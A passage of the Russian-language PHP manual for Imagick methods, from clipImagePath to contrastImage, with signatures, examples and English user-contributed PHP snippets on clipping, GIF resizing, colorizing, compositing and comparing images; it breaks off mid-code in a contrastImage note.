public Imagick::clipImagePath(string $pathname, string $inside): void

Клипы вдоль именованных путей из профиля 8BIM, если они есть. Более поздние операции вступают в силу внутри пути. Идентификатор может быть числом, если ему предшествует # для работы с пронумерованным путём, например, укажите "#1", чтобы использовать первый путь.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

pathname

inside

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отсечь вдоль обозначенного контура с профилем 8BIM

  • « Imagick::clipImagePath
  • Imagick::clone »
  • PHP Manual
  • Imagick
  • Отсечь вдоль обозначенного контура с профилем 8BIM

Imagick::clipPathImage

(PECL imagick 2, PECL imagick 3)

Imagick::clipPathImage — Отсечь вдоль обозначенного контура с профилем 8BIM

Описание

public Imagick::clipPathImage(string $pathname, bool $inside): bool

Отсекает изображение вдоль обозначенного контура с профилем 8BIM, если он предоставлен. Последующие операции будут применяться к внутреннему контуру. Так же может быть числом, если ему предшествует символ #. Это необходимо для работы с пронумерованными контурами, например, "#1" для использования первого контура.

Список параметров

pathname

Обозначенный контур

inside

Если установлено true, то последующие операции будут применяться к внутреннему контуру. Иначе, последующие операции будут применяться к внешнему контуру.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Coleman Nitroy 14-Mar-2008 05:15
I found Imagick::clipPathImage and Imagic::clipImage did not work as I had expected. I thought they would just clip the path and throw away the extra data and you are done. Not the case.

Here is how I was able to use a clipping path:

<?php
      $img = new Imagick("/Path/To/Test/Image.psd");
      $geometry = $img->getImageGeometry();

      // Uses the first path as the clipping path
      $img->clipPathImage("#1", false);

      // Fill the clipped part with a color
      $draw = new ImagickDraw();
      $draw->setFillColor("#000000");
      $draw->color(0,0, imagick::PAINT_RESET);
      $img->drawImage($draw);

      // Composite the clipped image with the old image. Set the color of the composite to any color you want to be the outside part.
      $composite = new Imagick($path);
      $composite->newImage( $geometry['width'], $geometry['height'], new ImagickPixel("white"), 'png');
      $composite->compositeImage($img, imagick::COMPOSITE_COPY, 0, 0);
?>

Then doing any resizing or creating thumbnails from the resulting image  disregarded all the previous commands so I "saved" it and started with a new Imagick object

<?php
      // Copy the image so clip is "saved"
      $clipped = new Imagick();
      $clipped->readImageBlob($composite->getImageBlob());
?>

I'm sure there is a simpler way, but this took me awhile to get right and there were some hurdles to cross so I hope it is able to help someone on the way.

This is all the convert equivalent of:

$ convert Test.psd -fill white -colorspace rgb -draw "color 0 0 reset" -clip -colorspace rgb -draw "Image Copy 0,0 0,0 'Test.psd'" OutputFile.png


Создаёт точную копию объекта Imagick

  • « Imagick::clipPathImage
  • Imagick::clutImage »
  • PHP Manual
  • Imagick
  • Создаёт точную копию объекта Imagick

Imagick::clone

(PECL imagick 2, PECL imagick 3)

Imagick::clone — Создаёт точную копию объекта Imagick

Описание

public Imagick::clone(): Imagick

Создаёт точную копию объекта Imagick.

Внимание

Функция устарела (DEPRECATED) с imagick версии 3.1.0, взамен неё используйте ключевое слово clone.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Будет возвращена копия объекта Imagick.

Список изменений

Версия | Описание
PECL imagick 3.1.0 | Метод устарел в пользу ключевого слова clone.

Примеры

Пример #1 Клонирование объекта Imagick в разных версиях

<?php
// Клонирование объекта Imagick в imagick 2.x и 3.0:
$newImage = $image->clone();

// Клонирование объекта Imagick с версии 3.1.0:
$newImage = clone $image;
?>

User Contributed Notes

There are no user contributed notes for this page.


Заменяет цвета в изображении

  • « Imagick::clone
  • Imagick::coalesceImages »
  • PHP Manual
  • Imagick
  • Заменяет цвета в изображении

Imagick::clutImage

(PECL imagick 2, PECL imagick 3)

Imagick::clutImage — Заменяет цвета в изображении

Описание

public Imagick::clutImage(Imagick $lookup_table, int $channel = Imagick::CHANNEL_DEFAULT): bool

Заменяет цвета в изображении, используя таблицу соответствия. Необязательный второй параметр заменяет цвета в указанном канале. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

lookup_table

Объект Imagick, содержащий таблицу соответствия цветов.

channel

Константа Channeltype. Если не указано, то по умолчанию замена происходит во всех каналах.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Использование Imagick::clutImage():

Замена цвета в изображении, используя таблицу соответствия.

<?php
$image = new Imagick('test.jpg');
$clut = new Imagick();
$clut->newImage(1, 1, new ImagickPixel('black'));
$image->clutImage($clut);
$image->writeImage('test_out.jpg');
?>

Смотрите также

  • Imagick::adaptiveBlurImage() - Добавляет адаптивный фильтр размытия к изображению
  • Imagick::motionBlurImage() - Имитирует размытие в движении
  • Imagick::radialBlurImage() - Радиальное размытие изображения

User Contributed Notes

There are no user contributed notes for this page.


Компонует набор изображений

  • « Imagick::clutImage
  • Imagick::colorFloodfillImage »
  • PHP Manual
  • Imagick
  • Компонует набор изображений

Imagick::coalesceImages

(PECL imagick 2, PECL imagick 3)

Imagick::coalesceImages — Компонует набор изображений

Описание

public Imagick::coalesceImages(): Imagick

Скомпонованный набор изображений с соблюдением любых смещений страниц и методов удаления. Анимационные последовательности GIF, MIFF и MNG обычно начинаются с фона изображения, и каждое последующее изображение изменяется по размеру и смещению. Возвращает новый объект Imagick, где каждое изображение в последовательности имеет тот же размер, что и первое и скомпоновано со следующим изображением в последовательности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новый объект Imagick в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Anony 08-Feb-2016 04:09
If you wish to open an animated gif, don't ping the image with $imagick->pingImage(), you will get the same amount of frames you have in the gif, added to the start - but they're all black with stripes. So you have then double the amounts of frames the gif actually has.
dikirill 08-Mar-2013 04:51
I tried examples below, and couldn't make them work. And found that version of my php-imagick extension is 3.1.0RC1, and looks like it's buggy in function "writeImages", downgrade to 3.0.1 helped me.
ktr 17-Oct-2012 08:06
resize and/or crop an animated GIF

<?php
$image = new Imagick($file_src);

$image = $image->coalesceImages();

foreach ($image as $frame) {
  $frame->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
  $frame->thumbnailImage($size_w, $size_h);
  $frame->setImagePage($size_w, $size_h, 0, 0);
}

$image = $image->deconstructImages();
$image->writeImages($file_dst, true);
?>
vikomic at gmail dot com 02-May-2011 03:58
Here goes an exaple how to resize GIF-s.

<?php
$imagick = new Imagick("original.gif");

$format = $imagick->getImageFormat();
if ($format == 'GIF') {
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(120, 120, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_120x120.gif', true);

  // can be added some more gifs
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(100, 100, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_100x100.gif', true);
}

$imagick->clear();
$imagick->destroy();
?>

You can use any resize method (resizeImage) with this example.

This example works fine with *imagick module version 2.2.1-dev*, but doesn't work correctly with *imagick module version 3.0.1*.


Изменяет значение цвета любого пикселя, соответствующего целевому

  • « Imagick::coalesceImages
  • Imagick::colorizeImage »
  • PHP Manual
  • Imagick
  • Изменяет значение цвета любого пикселя, соответствующего целевому

Imagick::colorFloodfillImage

(PECL imagick 2, PECL imagick 3)

Imagick::colorFloodfillImage — Изменяет значение цвета любого пикселя, соответствующего целевому

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::colorFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y
): bool

Изменяет значение цвета любого пикселя, соответствующего целевому и являющегося ближайшим соседом.

Список параметров

fill

Объект ImagickPixel, содержащий цвет заливки.

fuzz

Мера округления (fuzz). Например, присвойте fuzz значение, равное 10, и красный цвет с интенсивностью 100 и 102 соответственно теперь будет интерпретироваться как один и тот же цвет для целей заливки.

bordercolor

Объект ImagickPixel, содержащий цвет границы.

x

Начальная позиция заливки по X.

y

Начальная позиция заливки по Y.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь позволяет использовать представляющую цвет строку в качестве первого и третьего параметров. Предыдущие версии позволяли использовать только объект ImagickPixel.

User Contributed Notes

memmie at lenglet dot name 29-Apr-2014 09:39
Imagick::colorFloodFillImage is depreciated. You should use Imagick::paintFloodfillImage (replaced by Imagick::floodFillPaintImage in ImageMagick 6.3.8)


Смешивание цвета заливки с изображением

  • « Imagick::colorFloodfillImage
  • Imagick::colorMatrixImage »
  • PHP Manual
  • Imagick
  • Смешивание цвета заливки с изображением

Imagick::colorizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::colorizeImage — Смешивание цвета заливки с изображением

Описание

public Imagick::colorizeImage(mixed $colorize, mixed $opacity, bool $legacy = false): bool

Смешивает цвет заливки с каждым пикселем изображения.

Список параметров

colorize

Объект ImagickPixel или строка, содержащая цвет

opacity

Объект ImagickPixel или дробное число, содержащее значение прозрачности. 1.0 означает без прозрачности, 0.0 означает полную прозрачность.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Для первого параметра разрешено передавать цвет в виде строки и указывать значение прозрачности во втором параметре. Предыдущие версии допускали только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::colorizeImage()

<?php
function colorizeImage($imagePath, $color, $opacity) {
$imagick = new \Imagick(realpath($imagePath));
$opacity = $opacity / 255.0;
$opacityColor = new \ImagickPixel("rgba(0, 0, 0, $opacity)");
$imagick->colorizeImage($color, $opacityColor);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

adrien at unik dot solutions 01-Dec-2022 01:09
The solution published by "olav at redwall dot ee " was adding a black surround outside each non-transparent shape.

Here is my improved version :

<?php
public function colorize($color, $alpha = 1)
{
    $geometry = $this->getImageGeometry();
    $width = $geometry['width'];
    $height = $geometry['height'];

    $draw = new ImagickDraw;
    $draw->setFillColor($color);
    $draw->rectangle(0, 0, $width, $height);

    $temporary = new Imagick;
    $temporary->setBackgroundColor(new ImagickPixel('transparent'));
    $temporary->newImage($width, $height, new ImagickPixel('transparent'));
    $temporary->setImageFormat('png32');
    $temporary->drawImage($draw);
    $temporary->compositeImage($this, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

    $this->setImageArtifact('compose:args', ($alpha * 100) . '%,100%');
    $this->compositeImage($temporary, Imagick::COMPOSITE_DISSOLVE, 0, 0);
}
?>
Alex Lokhman [VisioN] 22-Mar-2014 02:35
If you're looking for a solution to fill the image with a solid color, preserving background transparency, here is one way:

<?php
$im = new Imagick('image.png');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
$im->setImageBackgroundColor('color');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_SHAPE);
$im->writeImage('output.png');
$im->destroy();
?>
olav at redwall dot ee 18-Dec-2013 12:24
To improve upon "php at lfbittencourt dot com"'s solution, this one blends the composited color, and takes opacity into account as well.

<?php
class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1, $composite_flag = Imagick::COMPOSITE_COLORIZE)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $temporary = new Imagick();
        $temporary->setBackgroundColor(new ImagickPixel('transparent'));
        $temporary->newImage($width, $height, new ImagickPixel('transparent'));
        $temporary->setImageFormat('png32');
        $temporary->drawImage($draw);

        $alphaChannel = $this->clone();
        $alphaChannel->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
        $alphaChannel->negateImage(false, Imagick::CHANNEL_ALL);
        $this->setImageClipMask($alphaChannel);

        $clone = $this->clone();
        $clone->compositeImage($temporary, $composite_flag, 0, 0);
        $clone->setImageOpacity($alpha);

        $this->compositeImage($clone, Imagick::COMPOSITE_DEFAULT, 0, 0);
    }
}
?>
php at lfbittencourt dot com 11-May-2012 01:26
Do you want a color overlay with TRUE opacity control? Try this:

<?php

class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        if (is_float($alpha)) {
            $draw->setFillAlpha($alpha);
        }

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $this->drawImage($draw);
    }
}

?>

How to use:

<?php

$imagick = new YourImagick('example.png');

$imagick->colorize('#ffcc00', 0.35);

header('Content-type: image/png');

echo $source;

?>
talkol at gmail dot com 28-Dec-2011 07:19
When you're using an image with an alpha channel (for example a transparent png), a value of 1.0 will return a completely transparent image, but a value of 1 works just fine.
lsmartinez at gmail dot com 08-Apr-2009 09:42
simplest example

<?php
$nombre = '001-4-0043.jpg';
$img = new Imagick($nombre);
$img->negateImage(false);
//$pixblu = new ImagickPixel('#000040');
$img->colorizeImage('#0000b0',1.0);
header('content-type: image/jpeg');
echo $img;
?>


Применяет преобразование цвета к изображению

  • « Imagick::colorizeImage
  • Imagick::combineImages »
  • PHP Manual
  • Imagick
  • Применяет преобразование цвета к изображению

Imagick::colorMatrixImage

(PECL imagick 3 >= 3.3.0)

Imagick::colorMatrixImage — Применяет преобразование цвета к изображению

Описание

public Imagick::colorMatrixImage(array $color_matrix = Imagick::CHANNEL_DEFAULT): bool

Применяет преобразование цвета к изображению. Этот метод позволяет изменять насыщенность, вращение оттенка, яркость альфа-канала и другие эффекты. Хотя можно использовать матрицы преобразования переменного размера, обычно используется матрица 5x5 для изображения RGBA и матрица 6x6 для CMYKA (или RGBA со смещениями). Матрица аналогична матрицам, которые используются в Adobe Flash, за исключением того, что смещения указаны в столбце 6, а не 5 (для поддержки изображений CMYKA), а смещения нормализованы (смещение Flash делится на 255).

Список параметров

color_matrix

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::colorMatrixImage()

<?php
function colorMatrixImage($imagePath, $colorMatrix) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageOpacity(1);

//Цветовая матрица должна выглядеть так:
// $colorMatrix = [
// 1.5, 0.0, 0.0, 0.0, 0.0, -0.157,
// 0.0, 1.0, 0.5, 0.0, 0.0, -0.157,
// 0.0, 0.0, 1.5, 0.0, 0.0, -0.157,
// 0.0, 0.0, 0.0, 1.0, 0.0, 0.0,
// 0.0, 0.0, 0.0, 0.0, 1.0, 0.0,
// 0.0, 0.0, 0.0, 0.0, 0.0, 1.0
// ];

$background = new \Imagick();
$background->newPseudoImage($imagick->getImageWidth(), $imagick->getImageHeight(), "pattern:checkerboard");

$background->setImageFormat('png');

$imagick->setImageFormat('png');
$imagick->colorMatrixImage($colorMatrix);

$background->compositeImage($imagick, \Imagick::COMPOSITE_ATOP, 0, 0);

header("Content-Type: image/png");
echo $background->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Объединяет одно или несколько изображений в одно изображение

  • « Imagick::colorMatrixImage
  • Imagick::commentImage »
  • PHP Manual
  • Imagick
  • Объединяет одно или несколько изображений в одно изображение

Imagick::combineImages

(PECL imagick 2, PECL imagick 3)

Imagick::combineImages — Объединяет одно или несколько изображений в одно изображение

Описание

public Imagick::combineImages(int $channelType): Imagick

Объединяет одно или несколько изображений в одно изображение. Значение оттенков серого пикселей каждого изображения в последовательности присваивается по порядку указанным каналам объединённого изображения. Типичный порядок: изображение 1 => красный, 2 => зелёный, 3 => синий и т.д.

Список параметров

channelType

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет комментарий к вашему изображению

  • « Imagick::combineImages
  • Imagick::compareImageChannels »
  • PHP Manual
  • Imagick
  • Добавляет комментарий к вашему изображению

Imagick::commentImage

(PECL imagick 2, PECL imagick 3)

Imagick::commentImage — Добавляет комментарий к вашему изображению

Описание

public Imagick::commentImage(string $comment): bool

Добавляет комментарий к вашему изображению.

Список параметров

comment

Комментарий для добавления

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::commentImage():

Комментирование изображения и получение комментария:

<?php

/* Создать новый объект Imagick */
$im = new imagick();

/* Создать пустое изображение */
$im->newImage(100, 100, new ImagickPixel("red"));

/* Добавить комментарий к изображению */
$im->commentImage("Привет, Мир!");

/* Показать комментарий */
echo $im->getImageProperty("comment");

?>

User Contributed Notes

nick_khor at hotmail dot com 02-Sep-2020 02:55
This function only support JPEG file.

https://github.com/Imagick/imagick/issues/124#issuecomment-226942140


Возвращает разницу в одном или нескольких изображениях

  • « Imagick::commentImage
  • Imagick::compareImageLayers »
  • PHP Manual
  • Imagick
  • Возвращает разницу в одном или нескольких изображениях

Imagick::compareImageChannels

(PECL imagick 2, PECL imagick 3)

Imagick::compareImageChannels — Возвращает разницу в одном или нескольких изображениях

Описание

public Imagick::compareImageChannels(Imagick $image, int $channelType, int $metricType): array

Сравнивает одно или несколько изображений и возвращает разностное изображение.

Список параметров

image

Объект Imagick, содержащий изображение для сравнения.

channelType

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

metricType

Одна из констант типа METRIC.

Возвращаемые значения

Массив, состоящий из new_wand и distortion.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальную ограничивающую область между изображениями

  • « Imagick::compareImageChannels
  • Imagick::compareImages »
  • PHP Manual
  • Imagick
  • Возвращает максимальную ограничивающую область между изображениями

Imagick::compareImageLayers

(PECL imagick 2, PECL imagick 3)

Imagick::compareImageLayers — Возвращает максимальную ограничивающую область между изображениями

Описание

public Imagick::compareImageLayers(int $method): Imagick

Сравнивает каждое изображение со следующим в последовательности и возвращает максимальную ограничивающую область любых обнаруженных различий пикселей. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

method

Одна из констант метода слоя.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::compareImageLayers()

Сравнение слоёв изображения

<?php
/* создание новый объект imagick */
$im = new Imagick("test.gif");

/* оптимизирование слои изображения */
$result = $im->compareImageLayers(imagick::LAYERMETHOD_COALESCE);

/* работа с $result */
?>

Смотрите также

  • Imagick::optimizeImageLayers() - Удаляет повторяющиеся части изображений для оптимизации
  • Imagick::writeImages() - Записывает изображение или последовательность изображений
  • Imagick::writeImage() - Записывает изображение по указанному имени файла

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает изображение с восстановленным изображением

  • « Imagick::compareImageLayers
  • Imagick::compositeImage »
  • PHP Manual
  • Imagick
  • Сравнивает изображение с восстановленным изображением

Imagick::compareImages

(PECL imagick 2, PECL imagick 3)

Imagick::compareImages — Сравнивает изображение с восстановленным изображением

Описание

public Imagick::compareImages(Imagick $compare, int $metric): array

Возвращает массив, содержащий восстановленное изображение и разницу между изображениями.

Список параметров

compare

Изображение для сравнения.

metric

Укажите допустимую константу типа метрики. Смотрите список констант метрики.

Возвращаемые значения

Возвращает массив, содержащий восстановленное изображение и разницу между изображениями.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::compareImages():

Сравнение изображения и отображение восстановленного изображения

<?php

$image1 = new imagick("image1.png");
$image2 = new imagick("image2.png");

$result = $image1->compareImages($image2, Imagick::METRIC_MEANSQUAREERROR);
$result[0]->setImageFormat("png");

header("Content-Type: image/png");
echo $result[0];

?>

User Contributed Notes

info at celeste-design dot de 12-Aug-2014 02:58
If you get the following non-descriptive error message:

Uncaught exception 'ImagickException' with message 'Compare images failed'

Check your picture dimensions! i compared a 21x20 png to a 20x20 png which resulted in that error. Took me forever to figure out that the dimensions have to be exactly the same.
Tim K and Sam M @netflix 01-May-2014 06:09
The *Absolute Error* metric is not listed as an available metric constant. However, you can still use it if needed by passing the internal constant definition for AE which is 1. This is useful when you wish to compare using a desired fuzz factor. Example:

<?php
// init the image objects
$image1 = new imagick();
$image2 = new imagick();

// set the fuzz factor (must be done BEFORE reading in the images)
$image1->SetOption('fuzz', '2%');

// read in the images
$image1->readImage("php_step29_actual.png");
$image2->readImage("php_step29_correct.png");

// compare the images using METRIC=1 (Absolute Error)
$result = $image1->compareImages($image2, 1);

// print out the result
echo "The image comparison 2% Fuzz factor is: " . $result[1];
?>


Накладывает одно изображение на другое

  • « Imagick::compareImages
  • Imagick::__construct »
  • PHP Manual
  • Imagick
  • Накладывает одно изображение на другое

Imagick::compositeImage

(PECL imagick 2, PECL imagick 3)

Imagick::compositeImage — Накладывает одно изображение на другое

Описание

public Imagick::compositeImage(
Imagick $composite_object,
int $composite,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Накладывает одно изображение на другое с указанным смещением. Любые дополнительные аргументы, необходимые для алгоритма наложения, следует передавать в setImageArtifact с 'compose:args' в качестве первого параметра и данных в качестве второго параметра.

Список параметров

composite_object

Объект Imagick, содержащий накладываемое изображение.

compose

Оператор наложения. Смотрите Константы оператора наложения.

x

Смещение столбца накладываемого изображения.

y

Смещение строки накладываемого изображения.

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::compositeImage():

Наложение двух изображений с помощью 'математического' метода наложения

<?php

// Эквивалентно запуску команды
// convert src1.png src2.png -compose mathematics -define compose:args="1,0,-0.5,0.5" -composite output.png

$src1 = new \Imagick("./src1.png");
$src2 = new \Imagick("./src2.png");

$src1->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$src1->setImageArtifact('compose:args', "1,0,-0.5,0.5");
$src1->compositeImage($src2, Imagick::COMPOSITE_MATHEMATICS, 0, 0);
$src1->writeImage("./output.png");

?>

Смотрите также

  • Imagick::setImageArtifact() - Устанавливает артефакт изображения

User Contributed Notes

elizapinchley at google dot com 10-Jan-2021 11:16
There has been changes to Imagick constants in new version. Please read new list of constants like this.

<?php

$img = new \Imagick();
$reflection_class = new ReflectionClass($img);

die(var_dump($reflection_class->getConstants()));

?>
Iddles 05-Jul-2011 10:01
To copy the alpha channel from one image to another, you can do the following:

<?php

$img1 = new Imagick( "image1.png" );
$img2 = new Imagick( "image2.png" );

$img1->compositeImage( $img2, imagick::COMPOSITE_COPYOPACITY, 0, 0 );

header('Content-type: image/png');
echo $img1;

?>
giso at connectholland dot nl 20-Jan-2010 08:30
You might need to set the colorspace the same when composing two images over each other

<?php
//Creating two Imagick object
$first = new Imagick('first.jpg');
$second = new Imagick('second.jpg');

// Set the colorspace to the same value
$first->setImageColorspace($second->getImageColorspace() );

//Second image is put on top of the first
$first->compositeImage($second, $second->getImageCompose(), 5, 5);

//new image is saved as final.jpg
$first->writeImage('final.jpg');
?>
m dot roszka at textend dot net 12-Feb-2008 06:55
Here is an example on how to compose two images into a single one. The Imagick class utilises the exception handling model introduced in PHP5 and thus we will do that as well. Let's presume, that we have a directory in our filesystem, which contains our program and the two images we want to operate on.

<?php
try
{
    // Let's check whether we can perform the magick.
    if (TRUE !== extension_loaded('imagick'))
    {
        throw new Exception('Imagick extension is not loaded.');
    }

    // This check is an alternative to the previous one.
    // Use the one that suits you better.
    if (TRUE !== class_exists('Imagick'))
    {
        throw new Exception('Imagick class does not exist.');
    }

    // Let's find out where we are.
    $dir = dirname(__FILE__);

    // Let's read the images.
    $glasses = new Imagick();
    if (FALSE === $glasses->readImage($dir . '/glasses.png'))
    {
        throw new Exception();
    }

    $face = new Imagick();
    if (FALSE === $face->readImage($dir . '/face.jpg'))
    {
        throw new Exception();
    }

    // Let's put the glasses on (10 pixels from left, 20 pixels from top of face).
    $face->compositeImage($glasses, Imagick::COMPOSITE_DEFAULT, 10, 20);

    // Let's merge all layers (it is not mandatory).
    $face->flattenImages();

    // We do not want to overwrite face.jpg.
    $face->setImageFileName($dir . '/face_and_glasses.jpg');

    // Let's write the image.
    if  (FALSE == $face->writeImage())
    {
        throw new Exception();
    }
}

catch (Exception $e)
{
    echo 'Caught exception: ' . $e->getMessage() . "\n";
}

exit(0);
?>
Also a couple more words on the Imagick::COMPOSITE_DEFAULT argument. The images we are composing together are separate layers. Not only can we put them in specific order, but we can also choose the way we want them to interfere with each other. And here comes the second argument of the compositeImage method. It can be given either as a constant or as the integer value of that constant. You can use the reflection API of PHP5 to get the list of them.

<?php
Reflection::export(new ReflectionClass('Imagick'));
?>

Just look for COMPOSITE_* constants in the "Constants" section.


Конструктор объекта Imagick

  • « Imagick::compositeImage
  • Imagick::contrastImage »
  • PHP Manual
  • Imagick
  • Конструктор объекта Imagick

Imagick::__construct

(PECL imagick 2, PECL imagick 3)

Imagick::__construct — Конструктор объекта Imagick

Описание

public Imagick::__construct(mixed $files = ?)

Создаёт экземпляр Imagick для отдельного изображения или группы изображений.

Список параметров

files

Путь к изображению для загрузки или массив таких путей. Пути могут содержать групповые символы для имён файлов или могут являться URL.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

divinity76 at gmail dot com 22-Apr-2019 07:55
if you need to create an image from a string containing the image binary, use readImageBlob, eg

<?php
$imagick = new Imagick();
$imagick->readImageBlob($str);
?>

likewise if you need to create an image from a file handle (without having the filepath), use readImageFile()
Jerome 04-Dec-2013 11:05
you can use PDF page as image. To do that, install ghostscript libraries.
IMagick use ghostscript to read PDF page.

<?php
$myurl = '/pdf/mypdf.pdf';
$image = new Imagick(realpath($myurl).'[0]'); //[0] indicate the number of the wanted page
$image->setResolution( 300, 300 );
$image->setImageFormat( "png" );
$image->writeImage(realpath('./mypdf.png'));
?>
andyearnshaw at do-not-spam-mygmail dot com 13-Mar-2013 10:13
If you try and load an ICO file whose extension isn't .ico, you'll get an error going along the lines of no delegate existing for the supplied image's format.  The can occur, for example, if you're using a temporary file.

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick($tmp);  // <-- ERROR!
}
?>

Your first thought might be to rename your temporary file's extension to .ico, but I decided to try something that works on the command line?prefix the file name with 'ico:'

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick("ico:$tmp");  // <-- Works great!
}
?>
martin at lks dot com 23-May-2012 04:29
If you are using windows imagemagick, at leat in my case, you have to include the full path of the file, including the 'c:' at the beginning. If you don't know for sure the way that the filename is going to come, you can use realpath() function to normalize it:

<?php
    $incoming_file = '/Users/John/Desktop/file_loco.jpg';
    $img = new Imagick(realpath($incoming_file));
    // realpath() will convert '/Users/John/Desktop/file_loco.jpg' to 'C:\Users\John\Desktop\file_loco.jpg'
    // and ImageMagick will have no trouble when loading
?>


Изменяет контраст изображения

  • « Imagick::__construct
  • Imagick::contrastStretchImage »
  • PHP Manual
  • Imagick
  • Изменяет контраст изображения

Imagick::contrastImage

(PECL imagick 2, PECL imagick 3)

Imagick::contrastImage — Изменяет контраст изображения

Описание

public Imagick::contrastImage(bool $sharpen): bool

Увеличивает разницу в интенсивности между светлыми и тёмными элементами изображения. Установите увеличение резкости на значение, отличное от 0, чтобы увеличить контраст изображения, в противном случае контраст уменьшается.

Список параметров

sharpen

Значение резкости

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::contrastImage()

<?php
function contrastImage($imagePath, $contrastType) {
$imagick = new \Imagick(realpath($imagePath));
if ($contrastType != 2) {
$imagick->contrastImage($contrastType);
}

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

removespam dot roland at tannerritchie dot com 12-Feb-2015 07:14
Both xyking and quickshiftin include errors in their comments. xyking's error is in looping through negative numbers. quickshifting is incorrect in stating that 0 *increases* contrast (it does not - it decreases it).

Here is a (tested, working) method to increment or decrement contrast:
<?php
class Images {
public function contrastImage($contrast, $imagePath){

$this->image = new Imagick();
$this->image->readImage($imagePath);

 if ($contrast > 0){
                for ($i = 1; $i < $contrast; $i++){
                    $this->image->contrastImage(1);
                }
            }else if ($contrast <= 0) {

                for ($i = 0; $i > $contrast; $i--) {

                    $this->image->contrastImage(0);
                }
            }
     }
}
?>
quickshiftin at gmail dot com 07-Nov-2014 09:24
xyking's comment is wrong so be careful if you read it. You pass a value of 0 to *increase* the contrast.
xyking 16-Apr-2010 08:14
Tip:
<?php
$image->contrastImage(1); //Increase contrast once
$image->contrastImage(1); //Increase contrast more
$image->contrastImage(1); //Increase contrast even more

$image->contrastImage(0); //Decrease contrast once
$image->contrastImage(0); //Decrease contrast more
$image->contrastImage(0); //Decrease contrast even more

//This could be made into a function like this:
public function contrast($level) {
        $level = (int)$level;
        if ($level < -10) {
            $level = -10;
        } else if ($level > 10) {
            $level = 10;
        }
        if ($level > 0) {
            for ($i = 0; $i < $level; $i++) {
